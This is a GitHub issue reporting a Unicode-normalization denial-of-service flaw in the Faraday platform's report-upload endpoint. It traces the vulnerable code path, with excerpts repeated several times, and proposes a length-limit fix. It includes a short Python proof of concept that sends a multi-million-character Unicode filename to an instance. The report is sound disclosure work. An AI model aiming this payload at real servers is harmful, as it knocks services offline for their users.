infobyte / faraday

Open Source Vulnerability Management Platform
https://www.faradaysec.com
GNU General Public License v3.0
4.72k stars 875 forks source link

Application-level Denial-of-Service due to a One Million Unicode attack when a Report is Uploaded Inbox #492

Open Sim4n6 opened 3 months ago

Sim4n6 commented 3 months ago

Summary

Unicode characters used in a user-controlled filename may cause an application level DoS in infobyte/faraday when a report upload is performed to create data within the given workspace.

Details

I noticed that the user-controlled filename can reach a costly Unicode normalization operation.

The filename may carry a huge Unicode characters and may cause denial of service since the call to secure_filename() uses a costly Unicode compatibility normalization (underneath).

This could get worse with Unicode characters like U+2100 (℀), or U+2105 (℅) which when Unicode compatibility normalized becomes three characters thus tripling the size of the filename.

The Vulnerable Flow Path

  1. faraday/server/api/modules/upload_[reports.py](http://reports.py/)

    from flask import (
       Blueprint,
       request,
       abort,
       make_response,
    
  2. faraday/server/api/modules/upload_[reports.py](http://reports.py/)

    from flask import (
       Blueprint,
       request,
       abort,
       make_response,
    
  3. faraday/server/api/modules/upload_[reports.py](http://reports.py/)

                abort(404, f"Workspace disabled: {workspace_name}")
    
           if 'file' not in request.files:
               abort(400)
    
    
  4. faraday/server/api/modules/upload_[reports.py](http://reports.py/)

                abort(403)
    
           report_file = request.files['file']
    
           ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False  # pylint: disable=R1719
    
  5. faraday/server/api/modules/upload_[reports.py](http://reports.py/)

                chars = string.ascii_uppercase + string.digits
               random_prefix = ''.join(random.choice(chars) for _ in range(12))  # nosec
               raw_report_filename = f'{random_prefix}_{secure_filename(report_file.filename)}'
    
               try:
    

Path with 5 steps 1. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import (
       Blueprint,
       request,
       abort,
       make_response,
   
2. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import (
       Blueprint,
       request,
       abort,
       make_response,
   
3. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L81C27-L81C34)

           try:
               validate_csrf(request.form.get('csrf_token'))
           except ValidationError:
               abort(403)
   
4. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C9-L85C20)
            abort(403)

           report_file = request.files['file']

           ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False  # pylint: disable=R1719
   
5. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L96C70-L96C90)
            chars = string.ascii_uppercase + string.digits
               random_prefix = ''.join(random.choice(chars) for _ in range(12))  # nosec
               raw_report_filename = f'{random_prefix}_{secure_filename(report_file.filename)}'

               try:
   
Path with 5 steps 1. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import (
       Blueprint,
       request,
       abort,
       make_response,
   
2. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L17C5-L17C12)
from flask import (
       Blueprint,
       request,
       abort,
       make_response,
   
3. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C23-L85C30)
            abort(403)

           report_file = request.files['file']

           ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False  # pylint: disable=R1719
   
4. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L85C9-L85C20)
            abort(403)

           report_file = request.files['file']

           ignore_info = True if request.form.get('ignore_info') in ("True", "true") else False  # pylint: disable=R1719
   
5. [faraday/server/api/modules/upload_[reports.py](http://reports.py/)](https://github.com/infobyte/faraday/blob/952e6d6af4aea2847cebad1573345f5b29fe3574/faraday/server/api/modules/upload_reports.py#L96C70-L96C90)
            chars = string.ascii_uppercase + string.digits
               random_prefix = ''.join(random.choice(chars) for _ in range(12))  # nosec
               raw_report_filename = f'{random_prefix}_{secure_filename(report_file.filename)}'

               try:
   
# PoC As a proof of concept, I would use the following python script: ```python import requests import sys # Adjust the URL accordingly url = "https://valid_instance/" dangerous_size = 5_000_000 files = {"file": ("℁" * dangerous_size + ".bmp", open("titre.jpg", "rb"))} # Adjust the file path response = [requests.post](http://requests.post/)( url, files=files ) print(response.status_code, [response.elapsed.total](http://response.elapsed.total/)_seconds()) ``` This would cause the application to take an endless time to handle a single POST request. # Remediation - The fix could be as simple as limiting the incoming filename to 1000 characters as a maximum. This is similar to CVE-2023-46695 in Django codebase and https://hackerone.com/reports/2258758 # Impact - Server-side denial of service due to an attack similar to the "One Million Unicode". Regards, @sim4n6
Sim4n6 commented 3 months ago

Issue submitted after via email you requested that I do so.

Sim4n6 commented 3 months ago

I would also suggest enabling private vulnerability reporting : https://docs.github.com/en/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository